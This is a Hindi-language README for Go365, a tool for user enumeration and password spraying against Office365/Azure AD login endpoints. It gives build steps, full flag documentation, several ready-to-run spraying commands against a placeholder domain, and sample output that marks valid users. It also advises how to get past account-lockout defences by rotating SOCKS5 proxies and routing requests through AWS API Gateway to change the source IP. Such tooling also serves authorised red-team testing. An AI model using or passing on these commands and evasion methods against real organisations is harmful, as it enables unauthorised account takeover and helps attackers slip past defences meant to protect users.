
एक Office365 उपयोगकर्ता हमला उपकरण
Go365 का उपयोग करने से पहले कृपया यह पूरा README पढ़ें!
Go365 एक टूल है जो Office365 (अब/जल्द ही Microsoft365) का उपयोग करने वाले संगठनों पर उपयोगकर्ता गणना* और पासवर्ड अनुमान लगाने के हमले करने के लिए डिज़ाइन किया गया है। Go365 login.microsoftonline.com पर एक अद्वितीय SOAP API एंडपॉइंट का उपयोग करता है जिसका अधिकांश अन्य टूल उपयोग नहीं करते। जब ईमेल पते और पासवर्ड के साथ क्वेरी की जाती है, तो एंडपॉइंट एक Azure AD प्रमाणीकरण और प्राधिकरण कोड के साथ प्रतिक्रिया करता है। इस कोड को फिर Go365 द्वारा संसाधित किया जाता है और परिणाम स्क्रीन या आउटपुट फ़ाइल पर मुद्रित किया जाता है।
* उपयोगकर्ता गणना पासवर्ड अनुमान के प्रयास के साथ मिलकर की जाती है। इस प्रकार, केवल उपयोगकर्ता गणना करने के लिए कोई विशिष्ट फ्लैग या फ़ंक्शनलिटी नहीं है। इसके बजाय, अपना पहला पासवर्ड अनुमान हमला करें, फिर वैध उपयोगकर्ताओं के लिए परिणामों को पार्स करें।
अपने OS के लिए पूर्व-संकलित बाइनरी यहाँ डाउनलोड करें।
स्रोत डाउनलोड करें और स्थानीय रूप से संकलित करें।
go build Go365.go
$ ./Go365
██████ ██████ ██████ ██████
██ ██ ██ ██
██ ███ ████ █████ ███████ ██████
██ ██ ██ ██ ██ ██ ██ ██
██████ ████ ██████ ██████ ██████
संस्करण: 2.0
लेखक: paveway3, h0useh3ad, S4R1N, EatonChips
उपयोग:
-h यह सामग्री दिखाता है
आवश्यक - एंडपॉइंट:
-endpoint [rst या graph] कौन सा एंडपॉइंट उपयोग करना है यह निर्दिष्ट करें
: (-endpoint rst) *क्लासिक Go365!* login.microsoftonline.com/rst2.srf. XML प्रतिक्रिया के साथ SOAP XML अनुरोध
: (-endpoint graph) login.microsoft.com/common/oauth2/token. JSON प्रतिक्रिया के साथ HTTP POST अनुरोध
आवश्यक - उपयोगकर्ता नाम और पासवर्ड:
-u <string> परीक्षण करने के लिए एकल उपयोगकर्ता नाम
: "@domain.com" के साथ या बिना उपयोगकर्ता नाम
: डोमेन निर्दिष्ट करने के लिए -d फ्लैग भी प्रदान करना होगा
: (-u [email protected])
-ul <file> उपयोग करने के लिए उपयोगकर्ता नाम सूची (-u को ओवरराइड करता है)
: फ़ाइल में प्रति पंक्ति एक उपयोगकर्ता नाम होना चाहिए
: उपयोगकर्ता नाम में "@domain.com" हो सकता है
: यदि कोई डोमेन निर्दिष्ट नहीं है, तो -d डोमेन का उपयोग किया जाता है
: (-ul ./usernamelist.txt)
-p <string> प्रयास करने के लिए पासवर्ड
: यदि इसमें विशेष वर्ण हों तो एकल उद्धरण में बंद करें
: (-p password123) या (-p 'p@s$w0|2d')
-pl <file> उपयोग करने के लिए पासवर्ड सूची (-p को ओवरराइड करता है)
: फ़ाइल में प्रति पंक्ति एक पासवर्ड होना चाहिए
: प्रयासों के प्रत्येक सेट के बीच विराम शामिल करने के लिए -delay फ्लैग का उपयोग किया जा सकता है
: (-pl ./passwordlist.txt)
-up <file> उपयोग करने के लिए यूज़रपास सूची (उपरोक्त सभी विकल्पों को ओवरराइड करता है)
: प्रति पंक्ति एक उपयोगकर्ता नाम और पासवर्ड ":" द्वारा अलग किया गया
: डुप्लिकेट उपयोगकर्ता नामों से सावधान रहें!
: (-up ./userpasslist.txt)
आवश्यक/वैकल्पिक - डोमेन:
-d <string> परीक्षण करने के लिए डोमेन
: इसका उपयोग करें यदि उपयोगकर्ता नाम या उपयोगकर्ता नाम सूची में "@targetcompany.com" शामिल नहीं है
: (-d targetcompany.com)
वैकल्पिक:
-w <int> प्रयासों के बीच प्रतीक्षा करने का समय सेकंड में।
: डिफ़ॉल्ट: 1 सेकंड। 5 सेकंड अनुशंसित।
: (-w 10)
-delay <int> पासवर्ड सूची का उपयोग करते समय स्प्रे के बीच विलंब (सेकंड में)।
: डिफ़ॉल्ट: 60 मिनट (3600 सेकंड) अनुशंसित।
: (-delay 7200)
-o <string> लिखने के लिए आउटपुट फ़ाइल
: यदि फ़ाइल मौजूद है तो जोड़ा जाएगा, अन्यथा एक फ़ाइल बनाई जाती है
: (-o ./Go365output.out)
-proxy <string> उपयोग करने के लिए एकल SOCKS5 प्रॉक्सी सर्वर
: IP पता और पोर्ट ":" द्वारा अलग किया गया
: SOCKS5 प्रॉक्सी
: (-proxy 127.0.0.1:1080)
-proxyfile <string> उपयोग करने के लिए SOCKS5 प्रॉक्सी सर्वरों की सूची वाली फ़ाइल
: प्रत्येक पंक्ति पर IP पता और पोर्ट ":" द्वारा अलग किया गया
: प्रत्येक अनुरोध से पहले एक प्रॉक्सी सर्वर को बेतरतीब ढंग से चुनता है
: (-proxyfile ./proxyfile.txt)
-url <string> अनुरोध भेजने के लिए एंडपॉइंट
: Amazon API Gateway 'Invoke URL'
: अत्यधिक अनुशंसित है कि आप इस विकल्प का उपयोग करें। इसे Google करें, या
: इसे देखें: https://bigb0sss.github.io/posts/redteam-rotate-ip-aws-gateway/
: (-url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login)
-debug डीबग मोड।
: xml प्रतिक्रिया प्रिंट करें
./Go365 -endpoint rst -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
./Go365 -endpoint rst -up ./userpass_list.txt -delay 3600 -d pwnthisfakedomain.com -w 5 -o Go365output.txt
./Go365 -endpoint graph -u legituser -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
./Go365 -endpoint rst -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login
आप -pl और -delay फ्लैग का उपयोग करके अपने पूरे पासवर्ड अनुमान अभियान को शेड्यूल भी कर सकते हैं :)
./Go365 -endpoint rst -ul ./user_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login -proxyfile listofprox.txt -pl listofpasswords.txt -delay 7200
*प्रोटिप: यदि आपको बहुत सारे "खाता लॉक हो गया" प्रतिक्रियाएँ मिलती हैं, तो आप प्रॉक्सी या AWS Gateway का उपयोग करना चाह सकते हैं।
प्रोटिप: आप शायद वास्तव में खातों को लॉक नहीं कर रहे हैं।
लक्ष्य डोमेन के खिलाफ कई क्वेरी के बाद, परिणाम यह रिपोर्ट करना शुरू कर सकते हैं कि खाते लॉक हो गए हैं।
एक बार यह सुरक्षा ट्रिगर हो जाने के बाद, उपयोगकर्ता गणना अविश्वसनीय हो जाती है क्योंकि वैध और अमान्य उपयोगकर्ताओं के अनुरोध बेतरतीब ढंग से रिपोर्ट करेंगे कि उनके खाते लॉक हो गए हैं।
...
[-] उपयोगकर्ता नहीं मिला: [email protected]
[-] उपयोगकर्ता नहीं मिला: [email protected]
[-] वैध उपयोगकर्ता, लेकिन अमान्य पासवर्ड: [email protected]
[!] खाता लॉक हो गया: [email protected]
[-] वैध उपयोगकर्ता, लेकिन अमान्य पासवर्ड: [email protected]
[!] खाता लॉक हो गया: [email protected]
[!] खाता लॉक हो गया: [email protected]
[-] वैध उपयोगकर्ता, लेकिन अमान्य पासवर्ड: [email protected]
[-] वैध उपयोगकर्ता, लेकिन अमान्य पासवर्ड: [email protected]
[!] खाता लॉक हो गया: [email protected]
...
यह एक रक्षात्मक तंत्र है जो एक निश्चित अवधि के भीतर लक्ष्य डोमेन के खिलाफ वैध उपयोगकर्ता क्वेरी की संख्या से ट्रिगर होता है। प्रयासों की संख्या और समय की अवधि लक्ष्य डोमेन के आधार पर भिन्न होगी क्योंकि थ्रेशोल्ड को लक्ष्य संगठन द्वारा अनुकूलित किया जा सकता है।
रक्षात्मक तंत्र समय और IP पता पर आधारित है। Go365 अनुरोधों के बीच प्रतीक्षा समय शामिल करने और अनुरोधों के स्रोत को वितरित करने के लिए प्रॉक्सी विकल्प प्रदान करता है। अपने लक्ष्य डोमेन पर रक्षात्मक तंत्र को दरकिनार करने के लिए, लंबे प्रतीक्षा समय और कई प्रॉक्सी सर्वरों का उपयोग करें।
कम से कम 15 सेकंड के प्रतीक्षा समय की अनुशंसा की जाती है। -w 15
यदि आपको अभी भी "खाता लॉक हो गया" प्रतिक्रियाएँ मिलती हैं, तो अपने अनुरोधों को प्रॉक्सी करना शुरू करें। प्रॉक्सी विकल्पों का केवल SSH SOCKS5 डायनामिक प्रॉक्सी (ssh -D <port> user@proxyserver) पर परीक्षण किया गया है।
DO या AWS या Vultr या जहाँ भी हो, ढेर सारे SOCKS5 प्रॉक्सी बनाएं और इस तरह एक फ़ाइल बनाएं:
127.0.0.1:8081
127.0.0.1:8082
127.0.0.1:8083
127.0.0.1:8084
127.0.0.1:8085
127.0.0.1:8086
...
टूल प्रदान किए गए प्रॉक्सी सर्वरों में से बेतरतीब ढंग से पुनरावृत्ति करेगा और अनुरोधों के बीच निर्दिष्ट समय की प्रतीक्षा करेगा।
-w 15 -proxyfile ./proxies.txt
इसके अतिरिक्त, एक एंडपॉइंट url निर्दिष्ट किया जा सकता है ताकि यह टूल Amazon API Gateway के साथ इंटरफ़ेस कर सके। https://login.microsoftonline.com/rst2.srf एंडपॉइंट की ओर इंगित करने के लिए एक गेटवे सेट अप करें, फिर -url पैरामीटर को प्रदान किए गए Invoke URL पर सेट करें। प्रत्येक अनुरोध के साथ आपका IP घूमना चाहिए।
-url https://justanexample.execute-api.us-east-2.amazonaws.com/login